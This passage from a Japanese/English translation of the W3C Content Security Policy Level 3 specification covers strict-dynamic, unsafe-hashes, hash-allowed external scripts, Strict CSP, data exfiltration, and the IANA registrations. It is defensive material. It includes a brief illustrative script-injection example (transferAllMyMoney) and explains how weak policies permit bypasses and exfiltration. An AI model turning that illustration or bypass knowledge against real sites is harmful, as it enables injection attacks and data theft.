To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.
</p>

		</section>
		<section id="strict-dynamic-usage">
<h3 title="Usage of &quot;'strict-dynamic'&quot;">8.2. `strict-dynamic^pl の用法</h3>

◎非規範的

<p>
~hostや~pathに基づく施策を~~正しく保つことは、
とりわけ~CDNの様な まとまりのない生成元では，大変になる。
`solutions to Cure53’s H5SC Minichallenge 3: "Sh*t, it’s CSP!"＠https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22#107-bytes$en
`H5SC3$r
は，そのような施策が可能化し得る迂回の好例であり、
~CSPが，特定の資源たちを網羅する宣言を介して これらの迂回を軽減する能力を有するとしても、
そのような~listは壊れ易く, 扱い難く, 実装する／保守するのが困難になりがちである。
◎
Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs. The solutions to Cure53’s H5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3] are good examples of the kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these bypasses via exhaustive declaration of specific resources, those lists end up being brittle, awkward, and difficult to implement and maintain.
</p>

<p>
`strict-dynamic$pl ~source式は、
既存の~appが［
自身が直に読込む~scriptについては自信があるが，
前面に読込まれる資源たちが成す~listを適理に供する能については自信がない場合
］に，~CSPをより単純に配備できるようにすることを目指す。
◎
The "'strict-dynamic'" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonable list of resources to load up front.
</p>

<p>
`script-src$dir ／ `default-src$dir
指令~内に在る場合、
2 つの主な効果がある：
◎
If present in a script-src or default-src directive, it has two main effects:
</p>

<ul>
	<li>
<p>(A)：
式［
`host-source$p, `scheme-source$p
］, および `keyword-source$p［
`unsafe-inline$pl, `self$pl
］は、
~scriptの読込ng時には無視される。
◎
host-source and scheme-source expressions, as well as the "'unsafe-inline'" and "'self' keyword-sources will be ignored when loading script.
</p>

<p>
式［
`hash-source$p, `nonce-source$p
］は、
尊守されることになる。
◎
hash-source and nonce-source expressions will be honored.
</p>
	</li>
	<li>(B)：
`構文解析-時に挿入され$たものではない `script$e 要素により誘発される~script要請は、
許容される。
◎
Script requests which are triggered by non-"parser-inserted" script elements are allowed.
</li>
</ul>

<div class="p">
<p>
(A) は、
~UAによる~sniff法を要求することなく，［
`strict-dynamic$pl を後方-互換な仕方で配備すること
］を許容する。
例えば，施策
<samp>`unsafe-inline$pl https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' `strict-dynamic$pl</samp>
【！＊nonce-abcdefg？】
は、
~browserが~supportする~CSPの~versionに応じて，次であるかの様に動作することになる：
◎
The first change allows you to deploy "'strict-dynamic'" in a backwards compatible way, without requiring user-agent sniffing: the policy 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like＼
</p>

<ul>
	<li>
CSP1 ならば
<samp>`unsafe-inline^pl https:</samp>
◎
'unsafe-inline' https: in browsers that support CSP1,＼
</li>
	<li>
CSP2 ならば
<samp>https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'</samp>
◎
https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' in browsers that support CSP2,＼
</li>
	<li>
CSP3 ならば
<samp>'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' `strict-dynamic^pl</samp>
◎
and 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic' in browsers that support CSP3.
</li>
</ul>
</div>

<p>
(B) は、［［
~nonce／~hash
］を介して~pageへの~accessが与えられた~script
］に［
~pageの施策に明示的に追加することなく，
自身が依存するものを持ち込むこと
］を許容する。
◎
The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the page’s policy.
</p>

<div class="example">
<p>
~MegaCorp社は、
次の施策を配備していて：
◎
Suppose MegaCorp, Inc. deploys the following policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `script-src$dir 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' `strict-dynamic$pl
</pre>

<p>
作動中な施策を伴う，次の~HTMLを~serveしているとする：
◎
And serves the following HTML with that policy active:
</p>

<pre class="lang-html">
...
&lt;script
    src="https://cdn.example.com/script.js"
    nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV"
&gt;&lt;/script&gt;
...
</pre>

<p>
これは
`https://cdn.example.com/script.js^s
に対する要請を生成することになり、
それは `nonce$a 属性に合致するので阻止されないことになる。
◎
This will generate a request for https://cdn.example.com/script.js, which will not be blocked because of the matching nonce attribute.
</p>

<p>
`script.js^s が次の~codeを包含するならば：
◎
If script.js contains the following code:
</p>

<pre class="lang-js">
var %s = document.createElement('script');
%s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(%s);

document.write('&lt;scr' + 'ipt src="/sadness.js"&gt;&lt;/scr' + 'ipt&gt;');
</pre>

<p>
`dependency.js^s
は読込まれることになる
— `createElement()^c により作成される `script$e 要素は、
`構文解析-時に挿入され$るものではないので。
◎
dependency.js will load, as the script element created by createElement() is not "parser-inserted".
</p>

<p>
一方で、
 `sadness.js^s は`読込まれない^em
— `document.write()^c は，`構文解析-時に挿入され$る `script$e 要素を生産するので。
◎
sadness.js will not load, however, as document.write() produces script elements which are "parser-inserted".
</p>
</div>

<p class="note">注記：
`strict-dynamic^pl は、
稼働時に作成される~scriptの実行を許容することになる。
そのような~scriptの所在を攻撃者が制御できた場合、
当の施策は任意な~scriptの読込ngを許容することになる。
自身の施策に `strict-dynamic^pl を利用する開発者は、
構文解析-時に挿入されたものでない~APIの利用を聴取して，［
それらの呼出nに信用できない~dataが紛れ込む余地はない
］ことを確保するベキである。
これには、
~scriptの所在を稼働時に決定する傾向がある~appや~frameworkも含まれる。
◎
Note: With 'strict-dynamic', scripts created at runtime will be allowed to execute. If the location of such a script can be controlled by an attacker, the policy will then allow the loading of arbitrary scripts. Developers that use 'strict-dynamic' in their policy should audit the uses of non-parser-inserted APIs and ensure that they are not invoked with potentially untrusted data. This includes applications or frameworks that tend to determine script locations at runtime.
</p>

		</section>
		<section id="unsafe-hashes-usage">
<h3 title="Usage of &quot;'unsafe-hashes'&quot;">8.3. `unsafe-hashes^pl の用法</h3>

◎非規範的

<p>
［
旧来の~website ／ 旧来の依存関係を伴う~website
］では、
~event~handlerをまるごと外部~化することが困難なこともある。
これらの~siteは、
その種の~handlerを `unsafe-inline^pl で許容して可能化することもできるが、
それは，多数の~riskを抱える諸刃の剣である
（また、
~nonceや~hashと共には利用できない）。
◎
Legacy websites and websites with legacy dependencies might find it difficult to entirely externalize event handlers. These sites could enable such handlers by allowing 'unsafe-inline', but that’s a big hammer with a lot of associated risk (and cannot be used in conjunction with nonces or hashes).
</p>

<p>
~source式 `unsafe-hashes$pl は、
そのような状況~下で［
~hashを介して特定の~handlerを可能化できる
］ようにすることで，［
~CSPをより単純かつ安全に配備することを，開発者に許容する
］ことを目指す。
◎
The "'unsafe-hashes'" source expression aims to make CSP deployment simpler and safer in these situations by allowing developers to enable specific handlers via hashes.
</p>

<div class="example">
<p>
~MegaCorp社は、
次の~HTMLを適理な~scheduleで取り去れないので：
◎
MegaCorp, Inc. can’t quite get rid of the following HTML on anything resembling a reasonable schedule:
</p>

<pre class="lang-html">
&lt;button id="action" onclick="doSubmit()"&gt;
</pre>

<p>
`unsafe-inline$pl を指定して~securityを抑制する代わりに，
`unsafe-hashes$pl と伴に［
~source `doSubmit()^l に対応している~hash~source式
］を利用するものと裁定した：
◎
Rather than reducing security by specifying "'unsafe-inline'", they decide to use "'unsafe-hashes'" along with a hash source expression corresponding to doSubmit(), as follows:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    script-src `unsafe-hashes$pl
    'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
</pre>
</div>

<p>
`unsafe-hashes$pl が供する能力は、
旧来の~site用には有用になるが，現代の~siteにおいては避けるべきである。
特に，~hashは、［
特定0の~scriptを実行することを許容する
］が［
開発者が意図する仕方で実行することは確保しない
］ことに注意。
興味を引く能力が~inlineな~event~handlerとして公開された場合
（例えば
`&lt;a onclick="transferAllMyMoney()"&gt;Transfer&lt;/a&gt;^s
とする）、
その~scriptは，攻撃者にとっては
`&lt;script&gt;transferAllMyMoney()&lt;/script&gt;^s
として注入する用途にも可用になる。
開発者は、［
~inlineな~event~handlerを許容することによる，配備~上の利点
］は，同時に［
特定の~scriptを実行することを許容する~riskにもなる
］ことに気を付けるべきである。
◎
The capabilities 'unsafe-hashes' provides is useful for legacy sites, but should be avoided for modern sites. In particular, note that hashes allow a particular script to execute, but do not ensure that it executes in the way a developer intends. If an interesting capability is exposed as an inline event handler (say &lt;a onclick="transferAllMyMoney()"&gt;Transfer&lt;/a&gt;), then that script becomes available for an attacker to inject as &lt;script&gt;transferAllMyMoney()&lt;/script&gt;. Developers should be careful to balance the risk of allowing specific scripts to execute against the deployment advantages that allowing inline event handlers might provide.
</p>

		</section>
		<section id="external-hash">
<h3 title="Allowing external JavaScript via hashes">8.4. ~hashを介して外部~JSを許容する</h3>

◎非規範的

<p>
`CSP2$r では、
~hash`~source式$が合致し得るものは，~inlineな~scriptに限られていたが、
今や `SRI$r が広範に配備されたので，外部化された~JSも可能化するように視野を拡げれる。
◎
In [CSP2], hash source expressions could only match inlined script, but now that Subresource Integrity [SRI] is widely deployed, we can expand the scope to enable externalized JavaScript as well.
</p>

<p>
ある `script$e 用に，複数の完全性~metadataたちが成す集合が指定された場合、［
要請が施策の `hash-source$p たちに合致する
］ための必要十分条件は，［
`script$e の完全性~metadata内の`各^em ~itemが当の施策に合致する
］ときになる。
◎
If multiple sets of integrity metadata are specified for a script, the request will match a policy’s hash-sources if and only if each item in a script’s integrity metadata matches the policy.
</p>

<p class="note">注記：
~CSP仕様は、［
~inlineな［
`script$e 要素／~event~handler
］を成す内容は、
その~hashを算出する前に，`~UTF-8符号化する$必要がある
］ものと指定する。
対して `SRI$r は、
その~hashを ~fetchされた生の資源に対し算出する。
このことは、［
~inlineな~script~block, 外部~script
］を許容するために必要な~hashは、
それらの内容が一致する場合でも，互いに異なり得ること意味する。
◎
Note: The CSP spec specifies that the contents of an inline script element or event handler needs to be encoded using UTF-8 encode before computing its hash. [SRI] computes the hash on the raw resource that is being fetched instead. This means that it is possible for the hash needed to allow an inline script block to be different from the hash needed to allow an external script even if they have identical contents.
</p>

<div class="example">
<p>
~MegaCorp社は，内容が期待に合致することを確保するため、
~page上の 2 個の特定の~scriptを許容したいとする
— 次の施策を設定したとするとき：
◎
MegaCorp, Inc. wishes to allow two specific scripts on a page in a way that ensures that the content matches their expectations. They do so by setting the following policy:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    script-src 'sha256-abc123' 'sha512-321cba'
</pre>

<p>
この施策が在る下では、
次の各 `script$e 要素の実行は 許容されることになる
— いずれも，施策に合致する完全性~metadataのみを包含するので：
◎
In the presence of that policy, the following script elements would be allowed to execute because they contain only integrity metadata that matches the policy:
</p>

<pre class="lang-html">
&lt;script integrity="sha256-abc123" ...&gt;&lt;/script&gt;
&lt;script integrity="sha512-321cba" ...&gt;&lt;/script&gt;
&lt;script integrity="sha256-abc123 sha512-321cba" ...&gt;&lt;/script&gt;
</pre>

<p>
一方で，次の各 `script$e 要素は，妥当な~metadataを包含するが施策に合致しないので、
いずれも（他の~metadataは合致していても）実行されない：
◎
While the following script elements would not execute because they contain valid metadata that does not match the policy (even though other metadata does match):
</p>

<pre class="lang-html">
&lt;script integrity="<mark>sha384-xyz789</mark>" ...&gt;&lt;/script&gt;
&lt;script integrity="<mark>sha384-xyz789</mark> sha512-321cba" ...&gt;&lt;/script&gt;
&lt;script integrity="sha256-abc123 <mark>sha384-xyz789</mark> sha512-321cba" ...&gt;&lt;/script&gt;
</pre>

<p>
認識されない~metadata（妥当でないか，未~supportな~hash用~algoを指定しているもの）は、
ここに述べた挙動には影響しない。
すなわち，上の施策が在る下では、
次の各 `script$e 要素は，実行-が許容されることになる
— 追加的な~metadataは妥当でないので：
【！＊？and therefore wouldn’t allow ...】
◎
Metadata that is not recognized (either because it’s entirely invalid, or because it specifies a not-yet-supported hashing algorithm) does not affect the behavior described here. That is, the following elements would be allowed to execute in the presence of the above policy, as the additional metadata is invalid and therefore wouldn’t allow a script whose content wasn’t listed explicitly in the policy to execute:
</p>

<pre class="lang-html">
&lt;script integrity="sha256-abc123 sha1024-abcd" ...&gt;&lt;/script&gt;
&lt;script integrity="sha512-321cba <mark>entirely-invalid</mark>" ...&gt;&lt;/script&gt;
&lt;script integrity="sha256-abc123 <mark>not-a-hash-at-all sha512-321cba</mark>" ...&gt;&lt;/script&gt;
</pre>
</div>

		</section>
		<section id="strict-csp">
<h3 title="Strict CSP">8.5. 厳密な~CSP</h3>

◎非規範的

<p>
~XSSに抗する効果的な~CSPの配備は、
難題である
（ <a lang="en" href="https://dl.acm.org/doi/10.1145/2976749.2978363">CSP Is Dead, Long Live CSP!</a>
`LONG-LIVE-CSP$r にて述べられるとおり）†。
しかしながら、
次に挙げる一群の~CSP指令を施行することが，
~XSSに抗する効果的かつ配備-可能な軽減であるものと識別された：
◎
Deployment of an effective CSP against XSS is a challenge (as described in CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP]).＼
However, enforcing the following set of CSP directives has been identified as an effective and deployable mitigation against XSS.
</p>

<p class="trans-note">【†
~scriptの読込n先として，どこを許容する必要があるかにも依存する。
該当する事例として、
特に，［
~CDNを許容する場合／
許容した読込n先のうち いずれかが~redirect器を含んでいる場合
］などが挙げられる。
】</p>

<ul>
	<li>
<p>
`script-src$dir
⇒
`source-expression$p として［
`nonce-source$p ／ `hash-source$p
］のみを
— `keyword-source$p `strict-dynamic$pl と伴に —
利用する。
◎
script-src: Only use nonce source-expression and/or hash source-expression with the "'strict-dynamic'" keyword-source.
</p>

<p class="note">注記：
`strict-dynamic$pl は、
配備の容易さを
（ `§ ~strict-dynamic の用法$ にて述べられるとおり）
許容するが，
アリなときは避けるべきである。
◎
Note: While "'strict-dynamic'" allows ease of deployment (as described in § 8.2 Usage of "'strict-dynamic'"), it should be avoided when possible.
</p>

<p class="note">注記：
後方-互換性を得るためには、
次が推奨される
⇒
`scheme-source$p として `https:^l を
`strict-dynamic$pl と伴に指定する。
◎
Note: For backwards compatibility, it is recommended to specify https: scheme-source with "'strict-dynamic'".
</p>
	</li>
	<li>
`base-uri$dir
⇒
`none$pl を指定するか，
【 `keyword-source$p として】 `self$pl を指定する。
◎
base-uri: Specify a value of either "'self'" or "'none'".
</li>
</ul>

<p>
上の判定基準を満たす~CSPは、
厳密な~CSP（ `Strict CSP^en ）と呼ばれる。
更なる詳細は、
`WEBDEV-STRICTCSP$r にて論じられる。
◎
A CSP that meets the above criteria is called Strict CSP. Further details are discussed in [WEBDEV-STRICTCSP].
</p>

<div class="example">
<p>
厳密な~CSPの例を以下に挙げる：
◎
The following are examples of Strict CSP:
</p>

<p>
~nonceに基づく厳密な~CSP：
◎
Nonce-based Strict CSP:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    script-src 'strict-dynamic' 'nonce-{RANDOM}';
    base-uri 'self';
</pre>

<p>
~hashに基づく厳密な~CSP：
◎
Hash-based Strict CSP:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}';
    base-uri 'self';
</pre>
</div>

		</section>
		<section id="exfiltration">
<h3 title="Exfiltration">8.6. 漏出</h3>

◎非規範的

<p>
~data漏出（ `exfiltration^en ）が生じ得るのは、
要請の内容
— ~URLなど —
が［
利用者／~page
］についての情報のうち［
制約されるべきであり，共有されるべきでないもの
］を包含するときである。
◎
Data exfiltration can occur when the contents of the request, such as the URL, contain information about the user or page that should be restricted and not shared.
</p>

<p>
~CSPを［
~pageの通信-先として許容される~serverたちが成す許容list
］を作成するために利用すれば、
~data漏出を軽減できる。
`default-src$dir 指令を欠く施策は、
漏出を軽減し得ないことに注意
— 
より特定な指令を通して取組むことは可能でない種類の要請（例えば `prefetch$v ）もあるので。
`HTML$r
◎
Content Security Policy can mitigate data exfiltration if used to create allowlists of servers with which a page is allowed to communicate. Note that a policy which lacks the default-src directive cannot mitigate exfiltration, as there are kinds of requests that are not addressable through a more-specific directive (prefetch, for example). [HTML]
</p>

<div class="example">
<p>
次の施策~例は，［
画像, ~font, ~script
］を問答無用に制約するが、
それでも，他の種別の要請
（ `fetch()^c, `prefetch$v `HTML$r, 等々）
を介することで~data漏出を許容する：
◎
In the following example, a policy with draconian restrictions on images, fonts, and scripts can still allow data exfiltration via other request types (fetch(), prefetch, etc): [HTML]
</p>

<pre class="lang-http">
`Content-Security-Policy$h: `img-src$dir 'none'; `script-src$dir 'none'; `font-src$dir 'none'
</pre>

<p>
この施策に `default-src 'none'^s を補足すれば、
この種類の攻撃に抗して~pageの堅牢性を改善することになろう。
◎
Supplementing this policy with default-src 'none' would improve the page’s robustness against this kind of attack.
</p>
</div>

<div class="example">
<p>
次の施策~例では，
漏出から保護するために `default-src$dir 指令が現れるが、
`img-src$dir 指令が，~wildcardを利用して この制約を緩めている
— それは、
任意な端点への~data漏出を許容する。
施策の［
漏出を軽減する能
］は、［
最も制約的でない指令
］の許容listに依存する：
◎
In the following example, the default-src directive appears to protect from exfiltration, however the img-src directive relaxes this restriction by using a wildcard, which allows data exfiltration to arbitrary endpoints. A policy’s exfiltration mitigation ability depends upon the least-restrictive directive allowlist:
</p>

<pre class="lang-http">
`Content-Security-Policy$h: `default-src$dir 'none'; `img-src$dir *
</pre>
</div>

		</section>
	</section>
	<section id="implementation-considerations">
<h2 title="Implementation Considerations">9. 実装にあたっての考慮点</h2>

		<section id="extensions">
<h3 title="Vendor-specific Extensions and Addons">9.1. ~vendorに特有な拡張／~addon</h3>

<p>
資源~上に施行される`施策$は、［
~addon, 拡張, ~bookmarklet
］などの，~UA特能の運用には干渉するベキでない。
`HTML-DESIGN$r にて信奉されているように、
この種の特能は，一般に~page作者より利用者に優先権を与えるものなので。
◎
Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
</p>

<p>
更には、
この種の特能に~CSPを適用すると，その違反~報告において かなりの~noise~~源になり、
結果として，~web開発者にとっての価値は損われることになる。
◎
Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers.
</p>

<p>
例えば Chrome は， `chrome-extension_^sc ~schemeを~CSP検査から除外しており、
~pageの施策に関わらず，拡張により駆動される注入は許容するような 何らかの仕事を行っている。
◎
Chrome, for example, excludes the chrome-extension: scheme from CSP checks, and does some work to ensure that extension-driven injections are allowed, regardless of a page’s policy.
</p>

		</section>
	</section>
	<section id="iana-considerations">
<h2 title="IANA Considerations">10. IANA 考慮点</h2>

		<section id="iana-registry">
<h3 title="Directive Registry">10.1. 指令~registry</h3>

<p>
`Content Security Policy Directive^cite
（~CSP 指令）~registry `RFC7762$r
は、
次の登録と参照により更新されるべきである
【 “参照” の欄は、各~指令の~link先と同じなので省略する】
：
◎
The Content Security Policy Directive registry should be updated with the following directives and references [RFC7762]:
</p>

<div >
<ul ><li>`base-uri$dir
</li><li>`child-src$dir
</li><li>`connect-src$dir
</li><li>`default-src$dir
</li><li>`font-src$dir
</li><li>`form-action$dir
</li><li>`frame-ancestors$dir
</li><li>`frame-src$dir
</li><li>`img-src$dir
</li><li>`manifest-src$dir
</li><li>`media-src$dir
</li><li>`object-src$dir
</li><li>`report-uri$dir
</li><li>`report-to$dir
</li><li>`sandbox$dir
</li><li>`script-src$dir
</li><li>`script-src-attr$dir
</li><li>`script-src-elem$dir
</li><li>`style-src$dir
</li><li>`style-src-attr$dir
</li><li>`style-src-elem$dir
</li><li>`worker-src$dir
</li></ul>

◎
base-uri
• This document (see § 6.3.1 base-uri)
child-src
• This document (see § 6.1.1 child-src)
connect-src
• This document (see § 6.1.2 connect-src)
default-src
• This document (see § 6.1.3 default-src)
font-src
• This document (see § 6.1.4 font-src)
form-action
• This document (see § 6.4.1 form-action)
frame-ancestors
• This document (see § 6.4.2 frame-ancestors)
frame-src
• This document (see § 6.1.5 frame-src)
img-src
• This document (see § 6.1.6 img-src)
manifest-src
• This document (see § 6.1.7 manifest-src)
media-src
• This document (see § 6.1.8 media-src)
object-src
• This document (see § 6.1.9 object-src)
report-uri
• This document (see § 6.5.1 report-uri)
report-to
• This document (see § 6.5.2 report-to)
sandbox
• This document (see § 6.3.2 sandbox)
script-src
• This document (see § 6.1.10 script-src)
script-src-attr
• This document (see § 6.1.12 script-src-attr)
script-src-elem
• This document (see § 6.1.11 script-src-elem)
style-src
• This document (see § 6.1.13 style-src)
style-src-attr
• This document (see § 6.1.15 style-src-attr)
style-src-elem
• This document (see § 6.1.14 style-src-elem)
worker-src
• This document (see § 6.2.2 worker-src)
</div>

		</section>
		<section id="iana-headers">
<h3 title="Headers">10.2. ~header登録</h3>

<p>
恒久的~message~header~registry `RFC3864$r
【今や，`~HTTP~field名~registry＠~IANA-a/http-fields$】
は、
次の登録により更新されるべきである【すでに更新された】：
◎
The permanent message header field registry should be updated with the following registrations: [RFC3864]
</p>

<div>
<table><tbody><tr><th rowspan="2">~header名
<td id="iana-csp">`Content-Security-Policy$h
<tr><td id="iana-cspro">`Content-Security-Policy-Report-Only$h

<tr><th>適用-可能な~protocol
<td>http

<tr><th>位置付け
<td>standard【恒久的】

<tr><th>著作者／変更~制御者
<td>W3C

<tr><th>仕様~文書
<td>この仕様
</table>

◎
Content-Security-Policy
◎
Header field name
• Content-Security-Policy 
Applicable protocol
• http 
Status
• standard 
Author/Change controller
• W3C 
Specification document
• This specification (See § 3.1 The Content-Security-Policy HTTP Response Header Field) 

◎
Content-Security-Policy-Report-Only
◎
Header field name
• Content-Security-Policy-Report-Only 
Applicable protocol
• http 
Status
• standard 
Author/Change controller
• W3C 
Specification document
• This specification (See § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field)
</div>

		</section>
	</section>
	<section id="acknowledgements">
<h2 title="Acknowledgements">11. 謝辞</h2>

<p>
次に挙げる方々ならびに，~~貢献された多数の方々に：
◎
Lots of people are awesome. For instance:
</p>

<ul lang="en">
	<li>
Mario and all of Cure53.
</li>
	<li>
Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the
rest of Google’s CSP Cabal.
</li>
</ul>

	</section>
</main></div>